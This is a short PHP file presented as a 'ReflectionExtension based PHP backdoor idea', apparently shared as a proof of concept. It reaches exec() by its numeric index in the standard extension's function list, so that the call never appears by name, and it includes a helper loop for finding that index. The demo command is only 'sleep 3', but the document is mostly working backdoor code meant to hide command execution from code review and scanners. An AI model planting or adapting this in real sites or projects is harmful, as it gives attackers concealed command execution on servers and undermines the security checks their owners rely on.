Simple ReflectionExtension based PHP backdoor idea

reflectionextension_based_backdoor.php

<?php
// Simple ReflectionExtension based PHP backdoor idea
$cmd = 'sleep 3';
$c = new ReflectionExtension('standard'); array_values($c->getFunctions())[0x75]->invokeArgs(array($cmd));

// Info: 0x75 == 117, which is exec function number on current os 

// Getting function number:
/*

$extension = 'standard';
$function = 'exec';

$c = new ReflectionExtension($extension);
$functions = $c->getFunctions();
$n = 0;
foreach($functions as $name => $reflectionFunction) {
  if ($name == $function ) {
    echo "Number for $function is $n".PHP_EOL;
    exit;
  }
  $n++;
}
echo 'Function not found'.PHP_EOL;
exit;

// Marcin 'redeemer' Probola